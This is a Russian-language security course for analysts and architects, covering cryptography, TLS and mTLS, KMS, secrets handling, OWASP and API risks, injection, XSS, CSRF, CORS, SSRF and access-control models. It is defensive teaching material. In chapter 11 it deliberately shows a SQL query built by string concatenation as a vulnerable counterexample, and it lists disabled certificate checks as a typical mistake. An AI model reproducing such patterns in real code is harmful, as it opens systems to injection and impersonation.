Асимметричное шифрование (asymmetric, public-key encryption) — у владельца пара ключей. Открытый (public key) раздаётся всем: им можно запереть. Закрытый (private key) хранится только у владельца: только им можно отпереть. Алгоритмы — RSA и шифры на эллиптических кривых (ECDSA и Ed25519 для подписи, X25519 для договорённости о ключе).
почтовый ящик со щелью на двери дома. Бросить письмо в щель может любой прохожий — щель и есть открытый ключ. Достать письма может только хозяин, у которого ключ от ящика, — закрытый ключ. Передавать никому ничего не надо: адрес дома и так известен всем.

Асимметричное шифрование медленное — в сотни раз медленнее симметричного. Поэтому на практике их сочетают: асимметричным способом договариваются о случайном симметричном ключе, а дальше всё шифруют им. Именно так работает TLS (глава 6).

Цифровая подпись: печать, которую не подделать

Цифровая подпись (digital signature) — отпечаток (хеш) документа, обработанный закрытым ключом автора. Проверить подпись может любой, у кого есть открытый ключ. Подпись доказывает три вещи: документ написал владелец ключа (подлинность), документ не меняли после подписи (целостность), автор не сможет потом отпереться (неотказуемость).
печать нотариуса. Поставить её может только нотариус — печать у него в сейфе. А сверить оттиск с образцом может кто угодно. Если в документе после печати исправили цифру, подпись «не сойдётся»: отпечаток документа стал другим.

Попробуйте сами. Платёжный сервис «Ботинка» отправляет в склад сообщение о заказе и подписывает его. По дороге сообщение может кто-то изменить. Склад проверяет подпись. Хеш здесь учебный, но принцип тот же.

💳 Платёжный сервис

по сети

📦 Склад

Сертификат и удостоверяющий центр

Остаётся вопрос: откуда склад знает, что открытый ключ действительно принадлежит платёжному сервису, а не подложен кем-то ещё? Для этого есть сертификаты.

Сертификат (certificate, стандарт X.509) — документ «этот открытый ключ принадлежит shop.botinok.ru, действителен до такого-то числа», подписанный удостоверяющим центром.
Удостоверяющий центр, УЦ (certificate authority, CA) — организация, которая проверяет, что вы владеете доменом (или что вы — это вы), и подписывает ваш сертификат своим ключом.
паспорт. Фото в паспорте — это открытый ключ: «вот как выглядит владелец». Печать МВД — подпись удостоверяющего центра. Охранник не знает вас лично, но доверяет МВД — и поэтому доверяет паспорту. Поддельный паспорт без настоящей печати не пройдёт.
Цепочка доверия (chain of trust) — сертификат сайта подписан промежуточным УЦ, а сертификат промежуточного — корневым. Корневые сертификаты заранее лежат в операционной системе и браузере. Проверка идёт по цепочке снизу вверх, пока не упрётся в корень, которому доверяют.
вас представили другу друга. Вы не знаете этого человека, но знаете своего друга, а друг ручается за него. Корневой УЦ — это тот, кого вы знаете лично. Поэтому корневые ключи хранят особенно бережно: в отключённых от сети аппаратных модулях, а повседневные подписи делает промежуточный.
PKI (public key infrastructure, инфраструктура открытых ключей) — всё хозяйство вокруг сертификатов: удостоверяющие центры, правила проверки, выпуск, продление и отзыв. Отозванные сертификаты публикуют в списках отзыва (CRL) или сообщают через онлайн-проверку (OCSP).

Нажимайте сценарии и смотрите, что проверяет браузер Анны, когда она открывает магазин.

Сроки жизни сертификатов сокращаются. По решению CA/Browser Forum (голосование SC-081, 2025) публичные TLS-сертификаты с 15 марта 2026 года живут не больше 200 дней, с 15 марта 2027 — не больше 100, с 15 марта 2029 — не больше 47. Руками такое не продлить. Для архитектуры это значит одно: выпуск и продление сертификатов должны быть автоматическими (протокол ACME, в Kubernetes — cert-manager). Истёкший сертификат — одна из самых частых причин громких падений.
В России есть свой корневой удостоверяющий центр — НУЦ Минцифры. Ему доверяют не все браузеры, поэтому для публичного сайта обычно нужен ещё и сертификат от международного УЦ. А для сервисов, где требуется российская криптография, применяют алгоритмы ГОСТ (например, подпись ГОСТ Р 34.10-2012) и сертифицированные средства криптозащиты — это отдельное требование, его надо выяснять у заказчика заранее.
Типичные ошибки. «Мы придумали свой алгоритм шифрования» — никогда: только стандартные алгоритмы и проверенные библиотеки. Хранить закрытый ключ рядом с кодом. Путать шифрование и подпись: подпись не прячет данные, она доказывает их подлинность.

глава 6 · tls и mtls кто кому показывает паспорт

Теперь соберём всё из прошлой главы в протокол, который работает каждый раз, когда Анна открывает магазин. Как TLS устроен в сети — рукопожатие, порты, задержки — разобрано в разделе , а где его «снимают» — в . Здесь — только то, что важно для безопасности.

TLS (Transport Layer Security, актуальная версия — 1.3, RFC 8446) — протокол, который поверх обычного соединения даёт три вещи: шифрование (посторонний не прочитает), подлинность сервера (по сертификату) и целостность (подмену заметят).
разговор в шумном кафе через переводчика, которого понимаете только вы двое. Соседи слышат звуки, но не слова. А перед разговором собеседник показал вам паспорт.

Что видно постороннему в сети

Выберите, как магазин передаёт форму входа Анны, и посмотрите, что увидит тот, кто может читать трафик: владелец публичного Wi-Fi, провайдер, взломанный роутер.

Прямая секретность

(forward secrecy) В TLS 1.3 ключ каждого соединения одноразовый и нигде не хранится. Даже если завтра украдут закрытый ключ сервера, вчерашнюю записанную переписку им не расшифровать.

Житейски: сжигать черновики после каждого разговора. Украденный сейф не расскажет, о чём говорили вчера.

HSTS

(HTTP Strict Transport Security) Заголовок, которым сайт говорит браузеру: «ходи ко мне только по HTTPS ближайший год». Защищает от подсовывания открытой версии сайта в первом запросе.

В требованиях: Strict-Transport-Security: max-age=31536000; includeSubDomains.

В 2024 году NIST утвердил постквантовые стандарты (например, ML-KEM для договорённости о ключе). Браузеры и крупные сайты уже договариваются о ключах «гибридно» — классическим и постквантовым способом сразу, чтобы записанный сегодня трафик нельзя было расшифровать будущим квантовым компьютером. Для архитектора вывод простой: держать TLS-библиотеки свежими и не зашивать алгоритмы в код.

mTLS: паспорт показывают оба

Взаимный TLS, mTLS (mutual TLS) — вариант TLS, в котором сертификат предъявляет не только сервер, но и клиент. Обе стороны точно знают, с кем говорят. Так общаются сервисы внутри системы.
пропускной пункт между двумя заводами. Водитель грузовика показывает путевой лист охране склада, а охрана показывает водителю документы, что это именно тот склад. Груз не отдадут случайному человеку и не привезут на чужой склад.

Вспомните ловушку из раздела про шлюзы: внутренние сервисы верят заголовку X-User-Id. Если в сеть проник посторонний, он может отправить такой заголовок сам. mTLS закрывает эту дыру: сервис платежей принимает соединение только от того, кто доказал сертификатом, что он — сервис заказов. Вот как это происходит по шагам:

Кто выдаёт сертификаты сервисам: сетка и SPIFFE

Сертификат каждому сервису, продление каждые несколько часов, отзыв при удалении — руками это невозможно. Поэтому mTLS почти всегда включают сервисной сеткой (Istio, Linkerd): у неё есть свой внутренний УЦ и sidecar-прокси рядом с каждым сервисом, которые сами меняют сертификаты.

SPIFFE (Secure Production Identity Framework for Everyone) — открытый стандарт «паспорта» для программ. Имя сервиса записывается как адрес вида spiffe://botinok.ru/ns/prod/sa/orders (SPIFFE ID), а сам паспорт — короткоживущий сертификат, который называют SVID. SPIRE — эталонная реализация: сервер-УЦ и агенты на каждой машине.
бейдж сотрудника на смену. Утром охрана проверяет, что вы — это вы (по лицу, по графику смен), и печатает бейдж с именем, который сам «сгорает» в 20:00. Украденный бейдж бесполезен уже вечером, и никто не хранит пачку вечных пропусков.

Главное слово здесь — аттестация: агент не верит программе на слово, а спрашивает у платформы (например, у Kubernetes), кто на самом деле запустил этот процесс. Посмотрите по шагам:

Типичные ошибки. Отключить проверку сертификата «на время» (verify=False, InsecureSkipVerify) и забыть. Шифрование остаётся, а защита от подмены собеседника исчезает целиком. Для mTLS проверять только «подписан нашим УЦ», но не имя: тогда любой внутренний сервис может представиться любым. Сертификаты на годы вместо часов.
НФТ-SEC-10. Все внешние соединения — только TLS 1.2 или 1.3 (предпочтительно 1.3);
  HTTP перенаправляется на HTTPS; включён HSTS с max-age не менее 1 года.
НФТ-SEC-11. Все вызовы между сервисами внутри кластера — по mTLS; сервис
  принимает вызов только от сервисов из явного списка (по SPIFFE ID).
НФТ-SEC-12. Выпуск и продление сертификатов автоматизированы; срок жизни
  внутренних сертификатов — не более 24 часов; оповещение за 14 дней до
  истечения любого публичного сертификата.

глава 7 · данные и ключи шифрование «на диске», KMS и конверт в конверте

Пятница. Вера объясняет, почему удалённый бэкап — только половина дела. «Представьте, что бэкап был бы зашифрован, а ключ лежал бы отдельно. Тогда его утечка ничего бы не значила». Олег: «А где тогда лежит ключ? И кто его охраняет?» Хороший вопрос: ключ — это тоже секрет, и его тоже можно украсть.

🚚 Шифрование «в пути»

(in transit) Данные зашифрованы, пока летят по сети. Это TLS и mTLS из главы 6. Защищает от подслушивания.

💾 Шифрование «на хранении»

(at rest) Данные зашифрованы, пока лежат: на диске, в базе, в бэкапе, в объектном хранилище. Защищает от кражи носителя и копии.

Шифрование на хранении бывает на разных уровнях, и защищают они от разного:

УровеньКто расшифровываетОт чего защищаетОт чего НЕ защищает
Весь диск или том в облакеОперационная система, прозрачноУкрали физический диск или снимок томаВсё, что идёт через работающий сервер: инъекция, чужой заказ по номеру
Прозрачное шифрование в СУБД (TDE)Сама база, прозрачноУкрали файлы базы или бэкапТо же: приложение и администратор БД видят всё открытым
На уровне приложения (поле или запись)Только сервис, у которого есть право на ключУтечку дампа, любопытного администратора БД, копию в аналитикеВзлом самого сервиса с его правами
Проще говоря. Шифрование диска защищает от вора, который унёс железо. Шифрование в приложении — ещё и от вора, который унёс данные. От вора, который управляет самим приложением, шифрование не спасает — там работают проверки прав и журналы.
KMS (key management service, служба управления ключами) — отдельный сервис, который хранит главные ключи и никогда их не отдаёт. Он умеет по запросу зашифровать или расшифровать небольшой кусочек данных, проверяет права вызывающего и записывает каждое использование ключа в журнал. Примеры: AWS KMS, Google Cloud KMS, Azure Key Vault, Yandex KMS, HashiCorp Vault (механизм Transit).
банковская ячейка с сотрудником банка. Ключ от главного сейфа никогда не выходит из банка. Вы приносите запечатанный конверт — сотрудник проверяет паспорт, вскрывает конверт своим ключом прямо при вас и записывает в журнал, кто и когда приходил.
Конвертное шифрование (envelope encryption) — данные шифруют случайным ключом данных (DEK, data encryption key) прямо в сервисе, быстро и локально. Сам ключ данных шифруют мастер-ключом (KEK, key encryption key), который живёт в KMS. Рядом с данными хранят зашифрованный ключ данных. Открытый ключ данных держат в памяти только на время работы.
письмо в конверте, конверт заперт в шкатулке, а ключ от шкатулки лежит в банковской ячейке. Украсть шкатулку с письмом можно, но без похода в банк она не откроется. А банк пустит не каждого и запишет визит.

Зачем два ключа

Гонять терабайты через KMS медленно и дорого. Через KMS проходит только маленький ключ данных — 32 байта. Данные шифруются на месте.

Ротация без боли

(key rotation) Сменили мастер-ключ — перешифровывать терабайты не нужно. Достаточно «перезавернуть» маленькие ключи данных новым мастер-ключом.

Крипто-стирание

(crypto-shredding) Уничтожили ключ данных — данные превратились в шум везде, включая старые бэкапы. Так выполняют «право на удаление» (глава 16).

Живая модель: конверт в конверте

Слева — сервис заказов. Справа сверху — KMS с мастер-ключами, справа снизу — база. Нажимайте кнопки по порядку: запишите заказ Анны, прочитайте его, смените мастер-ключ, перезаверните ключи данных. Потом попробуйте сценарии кражи. Пакеты по стрелкам показывают, что именно летит по сети.

⚙️ Сервис заказов
шифрует и расшифровывает данные у себя
сервис ↔ KMS (только маленькие ключи)
🔐 KMS · мастер-ключи
сервис ↔ база (зашифрованные данные)
🗄 База заказов
Почему картина такая. Мастер-ключ ни разу не пересекает стрелку: по сети летают только маленькие ключи данных, и то — зашифрованные на пути в базу. Поэтому утечка дампа бесполезна. А вот украденная учётная запись сервиса опасна: KMS честно расшифрует всё, что попросит «сервис заказов». Защищают от этого наименьшие привилегии (права только на свой ключ), ограничение, откуда можно звать KMS, и журнал KMS с оповещением о необычном числе расшифровок.
HSM (hardware security module, аппаратный модуль безопасности) — отдельное устройство, в котором ключи создаются и используются, но из которого их невозможно извлечь даже администратору. Облачные KMS обычно держат корневые ключи в HSM. Сертифицируются по стандарту FIPS 140-3; в России для защищённых систем применяют сертифицированные средства криптозащиты с алгоритмами ГОСТ.
сейф, который сам подписывает документы. Вы просовываете бумагу в щель — он ставит печать и возвращает. Печать внутри, достать её нельзя: при попытке вскрыть сейф печать уничтожается.
НФТ-SEC-14. Персональные данные покупателей (телефон, адрес доставки) шифруются
  на уровне приложения (AES-256-GCM) по схеме конвертного шифрования; мастер-
  ключи хранятся в KMS и не покидают его.
НФТ-SEC-15. Мастер-ключи ротируются автоматически не реже раза в год и
  немедленно при подозрении на компрометацию; ротация не требует простоя.
НФТ-SEC-16. Право расшифровки ключом «orders-pii» есть только у сервиса заказов;
  каждое использование ключа журналируется; более 1000 расшифровок за
  5 минут — оповещение дежурному по безопасности.
НФТ-SEC-17. Все бэкапы шифруются; ключ бэкапов хранится отдельно от них.

глава 8 · секреты пароль от базы в коде и ключ платёжки в git

Следующий понедельник. Вера запускает сканер секретов по всем репозиториям «Ботинка» и находит в истории одного из них файл .env с ключом от платёжного провайдера. Файл удалили два года назад. Но в истории git он остался — и остался бы навсегда.

Секрет (secret) — любая строка, которая даёт доступ: пароль к базе, ключ API, закрытый ключ сертификата, токен доступа, ключ шифрования, строка подключения к очереди.
ключи от квартиры. Их не вешают на гвоздик у двери снаружи, не делают копий «на всякий случай» для каждого знакомого и не пишут адрес на брелоке. Потеряли — меняют замок, а не надеются, что никто не найдёт.

Где секретам не место

Git-репозиторий

Даже приватный. История хранит всё навсегда, копии есть у каждого разработчика, в CI, в зеркалах. Удаление файла новым коммитом ничего не удаляет.

Образ контейнера

Каждый слой образа сохраняется. Секрет, скопированный на одном шаге и удалённый на следующем, остаётся в слое. Подробнее — в разделе .

Журналы и трассировки

«Отладочно вывели конфиг при старте». Журналы читает куча людей и систем, хранятся они годами.

Код фронтенда и мобильного приложения

Всё, что уехало в браузер или в приложение, видит пользователь. Секретов на клиенте не бывает — только публичные идентификаторы.

Задачи, чаты, вики

«Скинь пароль от стенда в личку». Такие переписки живут годами и попадают в поиск.

Переменные окружения — осторожно

Лучше, чем в коде, но их видно в описании контейнера, в дампах процессов, их любят печатать в лог при ошибке. Надёжнее — файл из хранилища секретов или прямой запрос к нему.

Хранилище секретов

Хранилище секретов (secrets manager) — сервис, который хранит секреты зашифрованными, выдаёт их только тем, кому положено, журналирует каждую выдачу и умеет их менять. Примеры: HashiCorp Vault и его открытый форк OpenBao (появился в 2023 году после смены лицензии Vault, развивается под крылом Linux Foundation), облачные — AWS Secrets Manager, Google Secret Manager, Azure Key Vault, Yandex Lockbox.
ключница у консьержа. Ключи не раздают навсегда: курьер получает ключ от подсобки под запись, а вечером сдаёт. Консьерж знает, у кого что сейчас, и может в любой момент поменять замок.

Динамические секреты

(dynamic secrets) Хранилище не хранит пароль к базе, а создаёт его по запросу: отдельного пользователя БД для этого экземпляра сервиса на час, с нужными правами. Через час пользователь удаляется сам. Утёкший пароль быстро протухает, а в журнале базы видно, какой именно экземпляр что делал.

Житейски: одноразовый код от домофона для курьера.

Ротация

(rotation) Регулярная смена секретов — по расписанию и немедленно при подозрении. Чтобы ротация не роняла систему, сервис должен уметь перечитать секрет без перезапуска, а на время смены действуют оба ключа, старый и новый.

Секреты в Kubernetes

Объект Secret по умолчанию хранится в etcd лишь в Base64 — это кодирование, а не шифрование. Нужно включить шифрование etcd и строгие права, а лучше — подтягивать секреты из внешнего хранилища (External Secrets Operator, Secrets Store CSI).

Без секрета вовсе

Лучший секрет — тот, которого нет. Сборка в CI получает временный доступ к облаку по подписанному токену своей платформы (федерация OIDC) вместо вечного ключа в настройках. Подробнее — в разделе .

Ключ утёк в git: что делать по шагам

Два сценария одной и той же ошибки. В первом — как обычно реагируют в панике. Во втором — как правильно. Переключайте сценарий и идите по шагам.

Главное правило. Утёкший секрет считается скомпрометированным с момента утечки, а не с момента, когда вы его заметили. Первое действие — отозвать и заменить. Чистка истории — потом и не вместо.

Можно ли хранить секрет здесь?

Решено 0 из 0.

НФТ-SEC-20. Секреты не хранятся в репозиториях, образах, журналах и на клиенте;
  сервисы получают их из хранилища секретов при старте и при ротации.
НФТ-SEC-21. В репозиториях включены проверка секретов перед коммитом и при
  отправке (pre-commit + push protection); сработка блокирует слияние.
НФТ-SEC-22. Учётные данные к базам — динамические, срок жизни не более 24 ч.
НФТ-SEC-23. Регламент компрометации секрета: отзыв и замена — не позднее
  1 часа с момента обнаружения; проверка журналов использования старого ключа.

глава 9 · owasp top 10 десять типовых дыр веб-приложений

Когда Вера показывает находки руководству, первый вопрос: «А у других так же?» Да. Ошибки повторяются от проекта к проекту настолько, что их давно собрали в список.

OWASP (Open Worldwide Application Security Project) — открытое некоммерческое сообщество по безопасности приложений. Его Top 10 — рейтинг десяти самых важных категорий рисков веб-приложений, собранный по данным тысяч реальных проверок. Актуальная версия — OWASP Top 10:2025, предыдущая — 2021 года.
список самых частых причин пожаров от МЧС: неисправная проводка, непотушенные сигареты, обогреватели. Он не перечисляет все возможные пожары, но если закрыть эти пункты, большая часть беды не случится.

Что изменилось в 2025 году: появились две новые категории — сбои цепочки поставок (расширение старого пункта про уязвимые компоненты) и неправильная обработка исключительных ситуаций. Подделка запросов со стороны сервера (SSRF) больше не отдельный пункт — она вошла в нарушение контроля доступа. Нажимайте на карточки.

Разобрано пунктов: 0 из 10
Как этим пользоваться аналитику. OWASP Top 10 — не стандарт соответствия, а список того, о чём обязательно спросить. Для требований удобнее более подробный стандарт того же сообщества — OWASP ASVS (Application Security Verification Standard): это готовый перечень проверяемых требований по уровням строгости. На ревью архитектуры пройдитесь по десяти пунктам и спросите у каждой новой функции: «а здесь это где закрыто?»

глава 10 · api дыры в API: чужой заказ по номеру и лишние поля

Для API у OWASP есть отдельный список. Причина простая: у API нет «интерфейса», который хоть как-то ограничивает пользователя. Любой может отправить любой запрос с любыми полями. Как проектировать сами API — в разделе ; здесь — как их ломают по ошибке и как закрывают.

КодНазвание (OWASP API Security Top 10 — 2023)На «Ботинке»
API1Broken Object Level Authorization — нет проверки прав на объект (BOLA)Заказ открывается по номеру без проверки владельца — наша утечка
API2Broken Authentication — сбои аутентификацииНет лимита на попытки входа, токены не истекают
API3Broken Object Property Level Authorization — нет проверки прав на поля объектаМожно прислать поле role и стать админом; ответ отдаёт лишние поля
API4Unrestricted Resource Consumption — неограниченное потребление ресурсов?limit=1000000 в поиске кладёт базу; SMS с кодом можно слать без предела за счёт магазина
API5Broken Function Level Authorization — нет проверки прав на функциюПокупатель вызывает POST /admin/prices — кнопки нет, а адрес работает
API6Unrestricted Access to Sensitive Business Flows — нет защиты чувствительных бизнес-процессовНа выходе лимитированной модели боты раскупают всё за секунды
API7Server Side Request Forgery — подделка запросов со стороны сервера (SSRF)«Загрузить фото по ссылке» ходит во внутреннюю сеть
API8Security Misconfiguration — небезопасная конфигурацияОшибки со стеком вызовов, лишние HTTP-методы, нет заголовков безопасности
API9Improper Inventory Management — неучтённые APIЗабытая /api/v0 без новых проверок
API10Unsafe Consumption of APIs — слепое доверие чужим APIОтвет партнёрской службы доставки вставляется в страницу без проверки

BOLA — самая частая дыра API

BOLA (broken object level authorization, раньше говорили IDOR — insecure direct object reference, небезопасная прямая ссылка на объект) — сервер получает номер объекта из запроса и отдаёт объект, не проверив, имеет ли этот пользователь на него право.
гардероб в театре, где выдают пальто по номерку, но не смотрят, ваш ли номерок. Назвали «номер 51» вместо своего «52» — получили чужое пальто. Гардеробщик честно проверил, что вы вообще зритель театра (аутентификация), но не проверил, что пальто ваше (авторизация объекта).

Почему шлюз это не ловит: шлюз знает, кто пришёл (Анна), но не знает, чей заказ №10451. Это знает только сервис заказов — у него база. Поэтому проверка владельца живёт в сервисе, в каждом методе, который принимает номер объекта.

Живая модель: Анна меняет номер заказа

Анна — честный покупатель. Она открыла свой заказ №10452 и из любопытства поменяла в адресе цифру. Выберите, как устроен сервер, двигайте номер и отправляйте запрос. Смотрите на запрос, на код сервера (строка, которая сработала, подсвечена) и на ответ.

10452
👩 Браузер Анны
→
🛎 Шлюз
→
⚙️ Сервис заказов
→
🗄 База

Запрос

Код сервера

Ответ

403 или 404?

На чужой объект можно ответить «запрещено» (403) или «не найдено» (404). 404 лучше: по 403 посторонний узнаёт, что такой заказ существует. Главное — одинаковый ответ для «чужого» и «несуществующего».

Почему «непредсказуемые номера» не лекарство

Длинный случайный номер (UUID) усложняет угадывание, но номера утекают: в письмах, ссылках «поделиться», журналах, истории браузера. Это прятанье, а не замок. Случайные номера — хорошее дополнение, но проверка владельца обязательна всегда.

Как ловить заранее. Автотест на каждый метод с идентификатором: «пользователь Б запрашивает объект пользователя А → 404». Такой тест пишется один раз как шаблон и проверяет все методы. В требованиях — строчка про владельца в описании каждого метода (глава 17).

Лишние поля: массовое присваивание и лишние данные

Массовое присваивание (mass assignment) — сервер берёт присланный JSON целиком и копирует все поля в объект базы, включая те, которые пользователь менять не должен. В списке 2023 года это часть API3 вместе с обратной проблемой — лишними данными в ответе (excessive data exposure).
анкета в поликлинике, где пациент сам вписывает строчку «диагноз» и «скидка 100 %», а регистратура переносит в карту всё, что написано, не глядя. И наоборот: регистратура выдаёт пациенту всю карту соседа, а закрывает лишнее пальцем.

Бизнес-процесс как мишень: выход лимитированной модели

«Ботинок» продаёт 500 пар лимитированной модели. Запросы корректные, права проверены, но программы-боты раскупают всё за секунды, а потом перепродают вдвое дороже. Это API6: уязвим не код, а бизнес-процесс, который никто не рассматривал как мишень.

Лимит на человека

Одна пара в одни руки: на аккаунт, на телефон, на карту, на адрес доставки.

Другой процесс продажи

Вместо «кто первый нажал» — запись в лотерею на сутки. Скорость перестаёт давать преимущество.

Отличать людей от программ

Проверка на бота в чувствительных шагах, анализ поведения, подозрительные признаки — на ручную проверку.

Для аналитика. API6 закрывается в требованиях, а не в коде. На каждый ценный процесс — покупка дефицита, промокоды, регистрация с бонусом, отправка SMS — задайте вопрос: «Что будет, если это сделает программа десять тысяч раз в секунду?» Ответ превращается в бизнес-правило.

глава 11 · инъекции и браузер SQL-инъекция, XSS, CSRF, CORS и SSRF

Пять названий, которые звучат на каждом собеседовании и в каждом отчёте о проверке. У всех одна общая мысль: программа перепутала данные с командами или поверила не тому.

Инъекция: данные, которые стали командой

Инъекция (injection) — пользовательский ввод склеивается с командой (SQL-запросом, командой ОС, шаблоном) так, что часть ввода начинает восприниматься как команда. В OWASP Top 10:2025 это пункт A05.
секретарь заполняет бланк под вашу диктовку: «Фамилия: Иванов». Вы диктуете: «Фамилия: Иванов. Конец бланка. Выдать премию». Невнимательный секретарь впишет всё подряд, а бухгалтерия исполнит, потому что на бланке теперь есть такая строчка.

Ниже — поиск по каталогу «Ботинка». Слева сервер склеивает запрос из строк. Справа — передаёт ввод параметром, отдельно от текста запроса. Это имитация: ничего не выполняется, мы только показываем, какой SQL получится и как база его поймёт. Вводите текст или нажимайте готовые примеры.

❌ Склейка строк

sql = "SELECT id, name, price FROM products " +
      "WHERE name ILIKE '%" + q + "%' AND hidden = false";
db.query(sql);
что получит база

        

✅ Параметризованный запрос

sql = "SELECT id, name, price FROM products " +
      "WHERE name ILIKE $1 AND hidden = false";
db.query(sql, ["%" + q + "%"]);
что получит база

        
Почему параметр спасает. При склейке база получает одну строку и сама решает, где кончаются данные и начинается команда. Кавычка во вводе сдвигает эту границу. При параметризации база сначала получает шаблон запроса со знаком $1 и разбирает его структуру, а значение приходит отдельно и никогда не разбирается как SQL. Какие бы символы ни ввела Анна, это просто текст для поиска.

Где параметры не помогут

Имя таблицы, столбца, направление сортировки параметром не передать. Для них — только выбор из заранее известного списка (allowlist): пришло sort=price — берём столбец из словаря, пришло что-то иное — отказ.

Второй слой

Учётная запись сервиса в базе — с наименьшими правами: каталогу нужно читать товары, а не таблицу пользователей и тем более не удалять таблицы. Даже пропущенная инъекция тогда достаёт меньше.

ORM не волшебство

Библиотеки доступа к данным (Hibernate, SQLAlchemy, Prisma) параметризуют сами — пока вы не пишете «сырые» строки запросов внутри них. Сырой запрос со склейкой в ORM так же опасен.

Тот же принцип везде

Команды операционной системы, LDAP, шаблоны писем, запросы к NoSQL и даже подсказки языковым моделям (prompt injection): если данные склеиваются с инструкциями, они могут стать инструкциями. Лекарство всегда одно — разделять данные и команды.

XSS: чужой скрипт на вашей странице

Межсайтовый скриптинг, XSS (cross-site scripting) — в страницу попадает чужой код, который браузер выполняет от имени вашего сайта. Он видит всё, что видит пользователь, и может действовать от его имени. В OWASP это тоже инъекция (A05) — только в HTML, а не в SQL.
доска объявлений в подъезде, где управляющая компания печатает объявления жильцов на своём бланке с печатью. Кто-то вписал в объявление: «По распоряжению УК оставьте ключи у двери». На официальном бланке этому поверят.

У «Ботинка» — отзывы о товаре. Если сервер вставит текст отзыва в страницу как HTML, любой тег в отзыве станет частью страницы. Посмотрите, во что превращается один и тот же отзыв:


    

Хранимый

(stored) Код сохранён на сервере — в отзыве, имени, описании — и срабатывает у каждого, кто откроет страницу.

Отражённый

(reflected) Код приходит в параметре ссылки и сервер возвращает его в странице. Срабатывает у того, кого уговорили нажать ссылку.

В самом браузере

(DOM-based) Сервер ни при чём: скрипт страницы сам берёт кусок адреса и вставляет в страницу через innerHTML.

Чем закрывают. Экранирование при выводе с учётом места (текст, атрибут, адрес, скрипт) — современные шаблонизаторы и React делают это по умолчанию, опасны только «обходы» вроде innerHTML, dangerouslySetInnerHTML, v-html. Если нужно разрешить форматирование — очистка HTML проверенной библиотекой-санитайзером. Заголовок Content-Security-Policy запрещает браузеру выполнять скрипты не из разрешённых мест. Cookie сессии с флагом HttpOnly недоступна скриптам вообще.

CSRF: чужой сайт жмёт кнопку за вас

Подделка межсайтового запроса, CSRF (cross-site request forgery) — чужой сайт заставляет браузер пользователя отправить запрос на ваш сайт. Браузер по старой привычке прикладывает к запросу cookie вашего сайта — и сервер думает, что это действие самого пользователя.
вы подписываете пачку документов, не читая, потому что их принёс ваш секретарь. Кто-то подложил в пачку доверенность на свою фамилию. Подпись настоящая, а решения вы не принимали.
SameSite — атрибут cookie, который говорит браузеру, прикладывать ли её к запросам, пришедшим с чужих сайтов. Strict — никогда. Lax — только при обычном переходе по ссылке (GET), но не для форм и скриптов. None — всегда (и тогда обязателен Secure).
Чем закрывают CSRF. Cookie сессии с SameSite=Lax или Strict — выставляйте явно, не полагайтесь на умолчания браузеров. Для форм — токен против подделки (anti-CSRF token), который чужой сайт не знает. Проверка заголовков Origin и Sec-Fetch-Site. Никаких изменений через GET. Для опасных действий (смена почты, вывод денег) — повторное подтверждение. Если API принимает токен только в заголовке Authorization, а не в cookie, классический CSRF к нему неприменим — браузер не приложит такой заголовок сам.

CORS: что это такое и чем он НЕ является

Политика одного источника (same-origin policy) — правило браузера: скрипт со страницы одного сайта (источника: схема + домен + порт) не может читать ответы от другого. CORS (cross-origin resource sharing) — способ, которым сервер ослабляет это правило: заголовками вроде Access-Control-Allow-Origin он говорит браузеру, каким чужим страницам можно читать его ответы.
вахтёр в общежитии (браузер) не отдаёт посетителю чужие письма. Жилец может оставить вахтёру записку: «письма для меня можно отдавать моей сестре». CORS — это такая записка. Но записка ничего не значит для почтальона, который идёт мимо вахты, — он письма и так несёт.

CORS — НЕ защита сервера

Его соблюдает только браузер. Программа, скрипт на сервере, консольная утилита шлют любые запросы и читают любые ответы. Доступ защищают аутентификация и авторизация, а не CORS.

CORS — НЕ защита от CSRF

Для «простых» запросов (обычная форма) браузер отправляет запрос и лишь потом решает, показать ли ответ скрипту. Действие на сервере уже произошло. Для «сложных» запросов (свои заголовки, PUT, JSON) браузер сначала спрашивает разрешение отдельным запросом OPTIONS (preflight).

Проверьте сами. API «Ботинка» живёт на api.botinok.ru, Анна вошла в магазин, её cookie сессии — у браузера. Выберите, кто делает запрос и как настроен сервер.

кто делает запрос за профилем Анны
как настроен CORS на api.botinok.ru

    

SSRF: сервер, который ходит «куда скажут»

Подделка запроса со стороны сервера, SSRF (server-side request forgery) — сервер по просьбе пользователя обращается по адресу, который указал пользователь, и тем самым ходит туда, куда самому пользователю доступа нет: во внутреннюю сеть, в служебные сервисы облака. В OWASP Top 10:2025 SSRF вошла в пункт A01, в списке API — отдельный пункт API7.
секретарь в офисе, который по просьбе любого посетителя «позвонит куда скажете». Посетителя во внутренние отделы не пустят, а секретаря с его внутренним телефоном — соединят с кем угодно, и он честно перескажет ответ.

У «Ботинка» есть функция «прикрепить к отзыву фото по ссылке»: сервер сам скачивает картинку. Если адрес не проверять, ссылкой может оказаться внутренняя админка или служебный адрес облака, где лежат временные ключи доступа самого сервера.

Чем закрывают. Разрешать только нужные внешние домены (allowlist), а не запрещать «плохие». Проверять, куда на самом деле указывает имя после DNS, и не пускать во внутренние и служебные адреса — в том числе после перенаправлений. Выпускать такие запросы через отдельный исходящий прокси, у которого нет доступа внутрь. Не возвращать пользователю сырой ответ. В облаке — включить защищённый режим службы метаданных (например, IMDSv2 в AWS). Лучший вариант — вообще не ходить по чужим ссылкам: пусть пользователь загрузит файл сам.

глава 12 · доступ кто что может: RBAC, ABAC, ReBAC и политика как код

После утечки Олегу поручают описать права доступа заново. Сначала он пишет по привычке: «покупатель может смотреть заказы, менеджер — менять цены». И сразу видит дыру: какие заказы? какие цены? Словами «роль может действие» права на конкретный объект не описать. Для этого есть три модели.

RBAC (role-based access control, доступ на основе ролей) — права выдаются ролям, а роли — людям. «Роль "менеджер" может менять цены».
должность. Кассир может открывать кассу, кладовщик — склад. Пришёл новый кассир — ему выдали роль, и всё. Просто и понятно, но кассиру из Казани так же открыта касса в Москве.
ABAC (attribute-based access control, доступ на основе атрибутов) — решение принимается по признакам пользователя, объекта, действия и обстановки. «Менеджер может менять цену, если магазин товара совпадает с его магазином и сейчас рабочее время».
пропуск, который действует только в вашем здании и только с 8 до 20. Гибко, но правил становится много, и отвечать на вопрос «а у кого вообще есть доступ к этому?» трудно.
ReBAC (relationship-based access control, доступ на основе отношений) — доступ следует из связей между объектами: «Анна — владелец списка желаний», «список поделён с Катей», «заказ относится к магазину, в котором Ира — менеджер». Модель описана в статье Google о системе Zanzibar (2019), на которой работают права в Google Docs и Drive. Открытые реализации — OpenFGA (проект CNCF) и SpiceDB.
Google Docs: документ видят те, с кем им поделились, и все участники папки, в которой он лежит. Права не хранятся списком у человека — они вычисляются по цепочке связей.

